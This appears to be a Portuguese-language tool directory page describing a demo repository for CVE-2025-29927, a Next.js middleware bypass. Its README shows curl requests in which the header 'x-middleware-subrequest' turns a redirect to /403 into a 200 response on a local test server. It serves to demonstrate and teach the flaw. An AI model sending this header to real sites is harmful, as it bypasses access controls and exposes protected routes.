Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nextjs-middleware-bypass-demo — Demonstra uma vulnerabilidade de bypass de middleware (CVE-2025-29927) no Next.js, mostrando como explorar o cabeçalho x-middleware-subrequest para acessar rotas protegidas. | Kitploit
Ferramentas/GitHubGitHub/fourcube/nextjs-middleware-bypass-demo
Análise de VulnerabilidadesExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubfourcube/nextjs-middleware-bypass-demo

nextjs-middleware-bypass-demo

Demonstra uma vulnerabilidade de bypass de middleware (CVE-2025-29927) no Next.js, mostrando como explorar o cabeçalho x-middleware-subrequest para acessar rotas protegidas.

Ver Repositório
51há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-29927 Demonstração

Artigo original: https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware

Configuração

Primeiro, execute o servidor de desenvolvimento:

root@kitploit:~
npm i
npm run dev

Abra http://localhost:3000 com seu navegador para ver o resultado.

Testando o bypass

curl -I http://localhost:3000

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 24 Mar 2025 08:02:50 GMT
Connection: keep-alive
Keep-Alive: timeout=5

curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000

root@kitploit:~
HTTP/1.1 200 OK Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding link: </_next/static/media/569ce4b8f30dc480-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1742803407039>; rel=preload; as="style" Cache-Control: no-store, must-revalidate X-Powered-By: Next.js Content-Type: text/html; charset=utf-8 Date: Mon, 24 Mar 2025 08:03:27 GMT Connection: keep-alive Keep-Alive: timeout=5
Baixar ferramenta